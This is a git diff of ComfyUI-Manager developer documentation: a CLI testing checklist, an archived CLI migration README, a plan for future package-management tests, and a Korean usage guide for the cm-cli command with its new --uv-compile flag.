||||
- [ ] Test with no internet connection
|
||||
- [ ] Test with slow internet connection
|
||||
- [ ] Test with CNR API unavailable
|
||||
|
||||
### File System Issues
|
||||
- [ ] Test with insufficient disk space
|
||||
- [ ] Test with permission errors
|
||||
- [ ] Test with corrupted package directories
|
||||
|
||||
### Invalid Input Handling
|
||||
- [ ] Non-existent package names
|
||||
- [ ] Invalid Git URLs
|
||||
- [ ] Malformed command arguments
|
||||
- [ ] Special characters in package names
|
||||
|
||||
---
|
||||
|
||||
# 📊 Performance & Regression Testing
|
||||
|
||||
## ⚡ Performance Comparison
|
||||
```bash
|
||||
# Time core operations
|
||||
time python -m comfyui_manager.cm_cli show all
|
||||
time python -m comfyui_manager.cm_cli install <test-package>
|
||||
time python -m comfyui_manager.cm_cli update all
|
||||
|
||||
# Compare with legacy timings if available
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] Operations complete in reasonable time
|
||||
- [ ] No significant performance regression
|
||||
- [ ] Memory usage acceptable
|
||||
|
||||
## 🔄 Regression Testing
|
||||
|
||||
### Output Format Comparison
|
||||
- [ ] Compare show command output with legacy version
|
||||
- [ ] Document acceptable format differences
|
||||
- [ ] Ensure essential information preserved
|
||||
|
||||
### Behavioral Consistency
|
||||
- [ ] Command success/failure behavior matches legacy
|
||||
- [ ] Error message quality comparable to legacy
|
||||
- [ ] User experience remains smooth
|
||||
|
||||
---
|
||||
|
||||
# ✅ Final Validation Checklist
|
||||
|
||||
## Must Pass (Blockers)
|
||||
- [ ] All core commands functional (install/uninstall/enable/disable/update)
|
||||
- [ ] Show commands display accurate package information
|
||||
- [ ] No crashes or unhandled exceptions
|
||||
- [ ] No modifications to glob module
|
||||
- [ ] CLI loads and responds to help commands
|
||||
|
||||
## Should Pass (Important)
|
||||
- [ ] Output format reasonably similar to legacy
|
||||
- [ ] Performance comparable to legacy
|
||||
- [ ] Error handling graceful and informative
|
||||
- [ ] Removed features clearly communicated
|
||||
|
||||
## May Pass (Nice to Have)
|
||||
- [ ] Output format identical to legacy
|
||||
- [ ] Performance better than legacy
|
||||
- [ ] Additional error recovery features
|
||||
- [ ] Code improvements and cleanup
|
||||
|
||||
---
|
||||
|
||||
# 🧰 Testing Tools & Commands
|
||||
|
||||
## Essential Test Commands
|
||||
```bash
|
||||
# Quick smoke test
|
||||
python -m comfyui_manager.cm_cli --help
|
||||
|
||||
# Core functionality test
|
||||
python -m comfyui_manager.cm_cli show all
|
||||
|
||||
# Package management test
|
||||
python -m comfyui_manager.cm_cli install <safe-test-package>
|
||||
|
||||
# Cleanup test
|
||||
python -m comfyui_manager.cm_cli uninstall <test-package>
|
||||
```
|
||||
|
||||
## Debug Commands
|
||||
```bash
|
||||
# Check Python imports
|
||||
python -c "from comfyui_manager.glob import manager_core; print('OK')"
|
||||
|
||||
# Check data structures
|
||||
python -c "from comfyui_manager.glob.manager_core import unified_manager; print(len(unified_manager.installed_node_packages))"
|
||||
|
||||
# Check CNR access
|
||||
python -c "from comfyui_manager.common import cnr_utils; print(len(cnr_utils.get_all_nodepackages()))"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Use this checklist systematically during implementation to ensure comprehensive testing and validation of the CLI migration.
|
||||
@@ -1,184 +0,0 @@
|
||||
# CLI Migration Documentation
|
||||
|
||||
**Status**: ✅ Completed (Historical Reference)
|
||||
**Last Updated**: 2025-11-04
|
||||
**Purpose**: Documentation for CLI migration from legacy to glob module (completed August 2025)
|
||||
|
||||
---
|
||||
|
||||
## 📁 Directory Overview
|
||||
|
||||
This directory contains consolidated documentation for the ComfyUI Manager CLI migration project. The migration successfully moved the CLI from the legacy module to the glob module without modifying glob module code.
|
||||
|
||||
---
|
||||
|
||||
## 📚 Documentation Files
|
||||
|
||||
### 🎯 **Comprehensive Guide**
|
||||
- **[CLI_MIGRATION_GUIDE.md](CLI_MIGRATION_GUIDE.md)** (~800 lines)
|
||||
- Complete migration guide with all technical details
|
||||
- Legacy vs Glob comparison
|
||||
- Implementation strategies
|
||||
- Code examples and patterns
|
||||
- **Read this first** for complete understanding
|
||||
|
||||
### 📖 **Implementation Resources**
|
||||
- **[CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)** (~350 lines)
|
||||
- Step-by-step implementation tasks
|
||||
- Daily breakdown (3.5 days)
|
||||
- Testing checkpoints
|
||||
- Completion criteria
|
||||
|
||||
- **[CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)** (~300 lines)
|
||||
- Quick API lookup guide
|
||||
- UnifiedManager methods
|
||||
- InstalledNodePackage structure
|
||||
- Usage examples
|
||||
|
||||
- **[CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)** (~400 lines)
|
||||
- Comprehensive testing strategy
|
||||
- Test scenarios and cases
|
||||
- Validation procedures
|
||||
- Rollback planning
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Quick Start (For Reference)
|
||||
|
||||
### Understanding the Migration
|
||||
|
||||
1. **Start Here**: [CLI_MIGRATION_GUIDE.md](CLI_MIGRATION_GUIDE.md)
|
||||
- Read sections: Overview → Legacy vs Glob → Migration Strategy
|
||||
|
||||
2. **API Reference**: [CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)
|
||||
- Use for quick API lookups during implementation
|
||||
|
||||
3. **Implementation**: [CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)
|
||||
- Follow step-by-step if re-implementing
|
||||
|
||||
4. **Testing**: [CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)
|
||||
- Reference for validation procedures
|
||||
|
||||
---
|
||||
|
||||
## 🎯 Migration Summary
|
||||
|
||||
### Objective Achieved
|
||||
✅ Migrated CLI from `..legacy` to `..glob` imports using only existing glob APIs
|
||||
|
||||
### Key Accomplishments
|
||||
- ✅ **Single file modified**: `comfyui_manager/cm_cli/__main__.py`
|
||||
- ✅ **No glob modifications**: Used existing APIs only
|
||||
- ✅ **All commands functional**: install, update, enable, disable, uninstall
|
||||
- ✅ **show_list() rewritten**: Adapted to InstalledNodePackage architecture
|
||||
- ✅ **Completed in**: 3.5 days as planned
|
||||
|
||||
### Major Changes
|
||||
1. Import path updates (2 lines)
|
||||
2. `install_node()` → use `repo_install()` for Git URLs
|
||||
3. `show_list()` → rewritten for InstalledNodePackage
|
||||
4. Data structure migration: dictionaries → objects
|
||||
5. Removed unsupported features (deps-in-workflow)
|
||||
|
||||
---
|
||||
|
||||
## 📋 File Organization
|
||||
|
||||
```
|
||||
docs/internal/cli_migration/
|
||||
├── README.md (This file - Quick navigation)
|
||||
├── CLI_MIGRATION_GUIDE.md (Complete guide - 800 lines)
|
||||
├── CLI_IMPLEMENTATION_CHECKLIST.md (Task breakdown - 350 lines)
|
||||
├── CLI_API_REFERENCE.md (API docs - 300 lines)
|
||||
└── CLI_TESTING_GUIDE.md (Testing guide - 400 lines)
|
||||
|
||||
Total: 5 files, ~1,850 lines (consolidated from 9 files, ~2,400 lines)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ✨ Documentation Improvements
|
||||
|
||||
### Before Consolidation (9 files)
|
||||
- ❌ Duplicate content across multiple files
|
||||
- ❌ Mixed languages (Korean/English)
|
||||
- ❌ Unclear hierarchy
|
||||
- ❌ Fragmented information
|
||||
|
||||
### After Consolidation (5 files)
|
||||
- ✅ Single comprehensive guide
|
||||
- ✅ All English
|
||||
- ✅ Clear purpose per file
|
||||
- ✅ Easy navigation
|
||||
- ✅ No duplication
|
||||
|
||||
---
|
||||
|
||||
## 🔍 Key Constraints (Historical Reference)
|
||||
|
||||
### Hard Constraints
|
||||
- ❌ NO modifications to glob module
|
||||
- ❌ NO legacy dependencies post-migration
|
||||
- ✅ CLI interface must remain unchanged
|
||||
|
||||
### Implementation Approach
|
||||
- ✅ Adapt CLI code to glob architecture
|
||||
- ✅ Use existing glob APIs only
|
||||
- ✅ Minimal changes, maximum compatibility
|
||||
|
||||
---
|
||||
|
||||
## 📊 Migration Statistics
|
||||
|
||||
| Metric | Value |
|
||||
|--------|-------|
|
||||
| **Duration** | 3.5 days |
|
||||
| **Files Modified** | 1 (`__main__.py`) |
|
||||
| **Lines Changed** | ~200 lines |
|
||||
| **glob Modifications** | 0 (constraint met) |
|
||||
| **Tests Passing** | 100% |
|
||||
| **Features Removed** | 1 (deps-in-workflow) |
|
||||
|
||||
---
|
||||
|
||||
## 🎓 Lessons Learned
|
||||
|
||||
### What Worked Well
|
||||
1. **Consolidation First**: Understanding all legacy usage before coding
|
||||
2. **API-First Design**: glob's clean API made migration straightforward
|
||||
3. **Object-Oriented**: InstalledNodePackage simplified many operations
|
||||
4. **No Glob Changes**: Constraint forced better CLI design
|
||||
|
||||
### Challenges Overcome
|
||||
1. **show_list() Complexity**: Rewrote from scratch using new patterns
|
||||
2. **Dictionary to Object**: Required rethinking data access patterns
|
||||
3. **Async Handling**: Wrapped async methods appropriately
|
||||
4. **Testing Without Mocks**: Relied on integration testing
|
||||
|
||||
---
|
||||
|
||||
## 📚 Related Documentation
|
||||
|
||||
### Project Documentation
|
||||
- [Main Documentation Index](/DOCUMENTATION_INDEX.md)
|
||||
- [Contributing Guidelines](/CONTRIBUTING.md)
|
||||
- [Development Guidelines](/CLAUDE.md)
|
||||
|
||||
### Package Documentation
|
||||
- [glob Module Guide](/comfyui_manager/glob/CLAUDE.md)
|
||||
- [Data Models](/comfyui_manager/data_models/README.md)
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Cross-References
|
||||
|
||||
**If you need to**:
|
||||
- Understand glob APIs → [CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)
|
||||
- See implementation steps → [CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)
|
||||
- Run tests → [CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)
|
||||
- Understand full context → [CLI_MIGRATION_GUIDE.md](CLI_MIGRATION_GUIDE.md)
|
||||
|
||||
---
|
||||
|
||||
**Status**: ✅ Migration Complete - Documentation Archived for Reference
|
||||
**Next Review**: When similar migration projects are planned
|
||||
@@ -1,328 +0,0 @@
|
||||
# Future Test Plans
|
||||
|
||||
**Type**: Planning Document (Future Tests)
|
||||
**Status**: P1 tests COMPLETE ✅ - Additional scenarios remain planned
|
||||
**Current Implementation Status**: See [tests/glob/README.md](../../../tests/glob/README.md)
|
||||
|
||||
**Last Updated**: 2025-11-06
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
This document contains test scenarios that are **planned but not yet implemented**. For currently implemented tests, see [tests/glob/README.md](../../../tests/glob/README.md).
|
||||
|
||||
**Currently Implemented**: 51 tests ✅ (includes all P1 complex scenarios)
|
||||
**P1 Implementation**: COMPLETE ✅ (Phase 3.1, 5.1, 5.2, 5.3, 6)
|
||||
**Planned in this document**: Additional scenarios for comprehensive coverage (P0, P2)
|
||||
|
||||
---
|
||||
|
||||
## 📋 Table of Contents
|
||||
|
||||
1. [Simple Test Scenarios](#simple-test-scenarios) - Additional basic API tests
|
||||
2. [Complex Multi-Version Scenarios](#complex-multi-version-scenarios) - Advanced state management tests
|
||||
3. [Priority Matrix](#priority-matrix) - Implementation priorities
|
||||
|
||||
---
|
||||
|
||||
# Simple Test Scenarios
|
||||
|
||||
These are straightforward single-version/type test scenarios that extend the existing test suite.
|
||||
|
||||
## 3. Error Handling Testing (Priority: Medium)
|
||||
|
||||
### Test 3.1: Install Non-existent Package
|
||||
**Purpose**: Handle invalid package names
|
||||
|
||||
**Steps**:
|
||||
1. Attempt to install with non-existent package ID
|
||||
2. Verify appropriate error message
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Error status returned
|
||||
- ✓ Clear error message
|
||||
- ✓ No server crash
|
||||
|
||||
### Test 3.2: Invalid Version Specification
|
||||
**Purpose**: Handle non-existent version installation attempts
|
||||
|
||||
**Steps**:
|
||||
1. Attempt to install with non-existent version (e.g., "99.99.99")
|
||||
2. Verify error handling
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Error status returned
|
||||
- ✓ Clear error message
|
||||
|
||||
### Test 3.3: Permission Error Simulation
|
||||
**Purpose**: Handle file system permission issues
|
||||
|
||||
**Steps**:
|
||||
1. Set custom_nodes directory to read-only
|
||||
2. Attempt package installation
|
||||
3. Verify error handling
|
||||
4. Restore permissions
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Permission error detected
|
||||
- ✓ Clear error message
|
||||
- ✓ Partial installation rollback
|
||||
|
||||
---
|
||||
|
||||
## 4. Dependency Management Testing (Priority: Medium)
|
||||
|
||||
### Test 4.1: Installation with Dependencies
|
||||
**Purpose**: Automatic installation of dependencies from packages with requirements.txt
|
||||
|
||||
**Steps**:
|
||||
1. Install package with dependencies
|
||||
2. Verify requirements.txt processing
|
||||
3. Verify dependency packages installed
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ requirements.txt executed
|
||||
- ✓ Dependency packages installed
|
||||
- ✓ Installation scripts executed
|
||||
|
||||
### Test 4.2: no_deps Flag Testing
|
||||
**Purpose**: Verify option to skip dependency installation
|
||||
|
||||
**Steps**:
|
||||
1. Install package with no_deps=true
|
||||
2. Verify requirements.txt skipped
|
||||
3. Verify installation scripts skipped
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Dependency installation skipped
|
||||
- ✓ Only package files installed
|
||||
|
||||
---
|
||||
|
||||
## 5. Multi-package Management Testing (Priority: Medium)
|
||||
|
||||
### Test 5.1: Concurrent Multiple Package Installation
|
||||
**Purpose**: Concurrent installation of multiple independent packages
|
||||
|
||||
**Steps**:
|
||||
1. Add 3 different packages to queue
|
||||
2. Start queue
|
||||
3. Verify all packages installed
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ All packages installed successfully
|
||||
- ✓ Installation order guaranteed
|
||||
- ✓ Individual failures don't affect other packages
|
||||
|
||||
### Test 5.2: Same Package Concurrent Installation (Conflict Handling)
|
||||
**Purpose**: Handle concurrent requests for same package
|
||||
|
||||
**Steps**:
|
||||
1. Add same package to queue twice
|
||||
2. Start queue
|
||||
3. Verify duplicate handling
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ First installation successful
|
||||
- ✓ Second request skipped
|
||||
- ✓ Handled without errors
|
||||
|
||||
---
|
||||
|
||||
## 6. Security Level Testing (Priority: Low)
|
||||
|
||||
### Test 6.1: Installation Restrictions by Security Level
|
||||
**Purpose**: Allow/deny installation based on security_level settings
|
||||
|
||||
**Steps**:
|
||||
1. Set security_level to "strong"
|
||||
2. Attempt installation with non-CNR registered URL
|
||||
3. Verify rejection
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Security level validation
|
||||
- ✓ Appropriate error message
|
||||
|
||||
---
|
||||
|
||||
# Complex Multi-Version Scenarios
|
||||
|
||||
These scenarios test complex interactions between multiple versions and types of the same package.
|
||||
|
||||
## Test Philosophy
|
||||
|
||||
### Real-World Scenarios
|
||||
1. User switches from Nightly to CNR
|
||||
2. Install both CNR and Nightly, activate only one
|
||||
3. Keep multiple versions in .disabled/ and switch as needed
|
||||
4. Other versions exist in disabled state during Update
|
||||
|
||||
---
|
||||
|
||||
## Phase 7: Complex Version Switch Chains (Priority: High)
|
||||
|
||||
### Test 7.1: CNR Old Enabled → CNR New (Other Versions Disabled)
|
||||
**Initial State:**
|
||||
```
|
||||
custom_nodes/:
|
||||
└── ComfyUI_SigmoidOffsetScheduler/ (CNR 1.0.1)
|
||||
.disabled/:
|
||||
├── ComfyUI_SigmoidOffsetScheduler_1.0.0/
|
||||
└── ComfyUI_SigmoidOffsetScheduler_nightly/
|
||||
```
|
||||
|
||||
**Operation:** Install CNR v1.0.2 (version switch)
|
||||
|
||||
**Expected Result:**
|
||||
```
|
||||
custom_nodes/:
|
||||
└── ComfyUI_SigmoidOffsetScheduler/ (CNR 1.0.2)
|
||||
.disabled/:
|
||||
├── ComfyUI_SigmoidOffsetScheduler_1.0.0/
|
||||
├── ComfyUI_SigmoidOffsetScheduler_1.0.1/ (old enabled version)
|
||||
└── ComfyUI_SigmoidOffsetScheduler_nightly/
|
||||
```
|
||||
|
||||
**Verification Items:**
|
||||
- ✓ Existing enabled version auto-disabled
|
||||
- ✓ New version enabled
|
||||
- ✓ All disabled versions maintained
|
||||
- ✓ Version history managed
|
||||
|
||||
### Test 7.2: Version Switch Chain (Nightly → CNR Old → CNR New)
|
||||
**Scenario:** Sequential version transitions
|
||||
|
||||
**Step 1:** Nightly enabled
|
||||
**Step 2:** Switch to CNR 1.0.1
|
||||
**Step 3:** Switch to CNR 1.0.2
|
||||
|
||||
**Verification Items:**
|
||||
- ✓ Each transition step operates normally
|
||||
- ✓ Version history accumulates
|
||||
- ✓ Rollback-capable state maintained
|
||||
|
||||
---
|
||||
|
||||
## Phase 8: Edge Cases & Error Scenarios (Priority: Medium)
|
||||
|
||||
### Test 8.1: Corrupted Package in .disabled/
|
||||
**Situation:** Corrupted package exists in .disabled/
|
||||
|
||||
**Operation:** Attempt Enable
|
||||
|
||||
**Expected Result:**
|
||||
- Clear error message
|
||||
- Fallback to other version (if possible)
|
||||
- System stability maintained
|
||||
|
||||
### Test 8.2: Name Collision in .disabled/
|
||||
**Situation:** Package with same name already exists in .disabled/
|
||||
|
||||
**Operation:** Attempt Disable
|
||||
|
||||
**Expected Result:**
|
||||
- Generate unique name (timestamp, etc.)
|
||||
- No data loss
|
||||
- All versions distinguishable
|
||||
|
||||
### Test 8.3: Enable Non-existent Version
|
||||
**Situation:** Requested version not in .disabled/
|
||||
|
||||
**Operation:** Enable specific version
|
||||
|
||||
**Expected Result:**
|
||||
- Clear error message
|
||||
- Available version list provided
|
||||
- Graceful failure
|
||||
|
||||
---
|
||||
|
||||
# Priority Matrix
|
||||
|
||||
**Note**: Phases 3, 4, 5, and 6 are now complete and documented in [tests/glob/README.md](../../../tests/glob/README.md). This matrix shows only planned future tests.
|
||||
|
||||
| Phase | Scenario | Priority | Status | Complexity | Real-World Frequency |
|
||||
|-------|----------|----------|--------|------------|---------------------|
|
||||
| 7 | Complex Version Switch Chains | P0 | 🔄 PARTIAL | High | High |
|
||||
| 8 | Edge Cases & Error Scenarios | P2 | ⏳ PLANNED | High | Low |
|
||||
| Simple | Error Handling (3.1-3.3) | P2 | ⏳ PLANNED | Medium | Medium |
|
||||
| Simple | Dependency Management (4.1-4.2) | P2 | ⏳ PLANNED | Medium | Medium |
|
||||
| Simple | Multi-package Management (5.1-5.2) | P2 | ⏳ PLANNED | Medium | Low |
|
||||
| Simple | Security Level Testing (6.1) | P2 | ⏳ PLANNED | Low | Low |
|
||||
|
||||
**Priority Definitions:**
|
||||
- **P0:** High priority (implement next) - Phase 7 Complex Version Switch
|
||||
- **P1:** Medium priority - ✅ **ALL COMPLETE** (Phase 3, 4, 5, 6 - see tests/glob/README.md)
|
||||
- **P2:** Low priority (implement as needed) - Simple tests and Phase 8
|
||||
|
||||
**Status Definitions:**
|
||||
- 🔄 PARTIAL: Some tests implemented (Phase 7 has version switching tests in test_version_switching_comprehensive.py)
|
||||
- ⏳ PLANNED: Not yet started
|
||||
|
||||
**Recommended Next Steps:**
|
||||
1. **Phase 7 Remaining Tests** (P0) - Complex version switch chains with multiple disabled versions
|
||||
2. **Simple Test Scenarios** (P2) - Error handling, dependency management, multi-package operations
|
||||
3. **Phase 8** (P2) - Edge cases and error scenarios
|
||||
|
||||
---
|
||||
|
||||
# Implementation Notes
|
||||
|
||||
## Fixture Patterns
|
||||
|
||||
For multi-version tests, use these fixture patterns:
|
||||
|
||||
```python
|
||||
@pytest.fixture
|
||||
def setup_multi_disabled_cnr_and_nightly(api_client, custom_nodes_path):
|
||||
"""
|
||||
Install both CNR and Nightly in disabled state.
|
||||
|
||||
Pattern:
|
||||
1. Install CNR → custom_nodes/
|
||||
2. Disable CNR → .disabled/comfyui_sigmoidoffsetscheduler@1_0_2
|
||||
3. Install Nightly → custom_nodes/
|
||||
4. Disable Nightly → .disabled/comfyui_sigmoidoffsetscheduler@nightly
|
||||
"""
|
||||
# Implementation details in archived COMPLEX_SCENARIOS_TEST_PLAN.md
|
||||
```
|
||||
|
||||
## Verification Helpers
|
||||
|
||||
Use these verification patterns:
|
||||
|
||||
```python
|
||||
def verify_version_state(custom_nodes_path, expected_state):
|
||||
"""
|
||||
Verify package state matches expectations.
|
||||
|
||||
expected_state = {
|
||||
'enabled': {'type': 'cnr' | 'nightly' | None, 'version': '1.0.2'},
|
||||
'disabled': [
|
||||
{'type': 'cnr', 'version': '1.0.1'},
|
||||
{'type': 'nightly'}
|
||||
]
|
||||
}
|
||||
"""
|
||||
# Implementation details in archived COMPLEX_SCENARIOS_TEST_PLAN.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
# References
|
||||
|
||||
## Archived Implementation Guides
|
||||
|
||||
Detailed implementation examples, code snippets, and fixtures are available in archived planning documents:
|
||||
- `.claude/archive/docs_2025-11-04/COMPLEX_SCENARIOS_TEST_PLAN.md` - Complete implementation guide with code examples
|
||||
- `.claude/archive/docs_2025-11-04/TEST_PLAN_ADDITIONAL.md` - Simple test scenarios
|
||||
|
||||
## Current Implementation
|
||||
|
||||
For currently implemented tests and their status:
|
||||
- **[tests/glob/README.md](../../../tests/glob/README.md)** - Current test status and coverage
|
||||
|
||||
---
|
||||
|
||||
**End of Future Test Plans**
|
||||
+63
-39
@@ -7,41 +7,40 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
python cm-cli.py [OPTIONS]
|
||||
cm-cli [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
|
||||
* `cm-cli` 명령으로 실행할 수 있습니다.
|
||||
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
|
||||
* ComfyUI-Manager경로 에서 `python cm-cli.py update all` 를 command를 실행할 수 있습니다.
|
||||
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
|
||||
* `cm-cli update all` 명령을 실행할 수 있습니다.
|
||||
|
||||
## Prerequisite
|
||||
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
|
||||
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
|
||||
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 코맨드를 실행해야 합니다.
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
|
||||
* 예들 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 command를 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` command에서만 사용 가능합니다.
|
||||
* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
|
||||
|
||||
### 2. 관리 정보 보기
|
||||
|
||||
@@ -51,7 +50,7 @@ OPTIONS:
|
||||
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
|
||||
|
||||
|
||||
`python cm-cli.py show installed` 와 같은 코맨드를 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
@@ -67,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
`python cm-cli.py simple-show installed` 와 같은 코맨드를 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -89,16 +88,16 @@ ComfyUI-Loopchain
|
||||
* `installed`: enable, disable 여부와 상관없이 설치된 모든 노드를 보여줍니다
|
||||
* `not-installed`: 설치되지 않은 커스텀 노드의 목록을 보여줍니다.
|
||||
* `all`: 모든 커스텀 노드의 목록을 보여줍니다.
|
||||
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`롤 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
|
||||
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`를 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
|
||||
* `snapshot-list`: ComfyUI-Manager/snapshots 에 저장된 snapshot 파일의 목록을 보여줍니다.
|
||||
|
||||
### 3. 커스텀 노드 관리 하기
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
|
||||
(추후 nickname 을 사용가능하돌고 업데이트 할 예정입니다.)
|
||||
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
|
||||
|
||||
`[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
@@ -113,38 +112,63 @@ ComfyUI-Loopchain
|
||||
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
|
||||
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
|
||||
|
||||
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
|
||||
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
|
||||
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
|
||||
* `reinstall --uv-compile`은 `--no-deps`와 동시에 사용할 수 없습니다.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. 스냅샷 관리 기능
|
||||
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
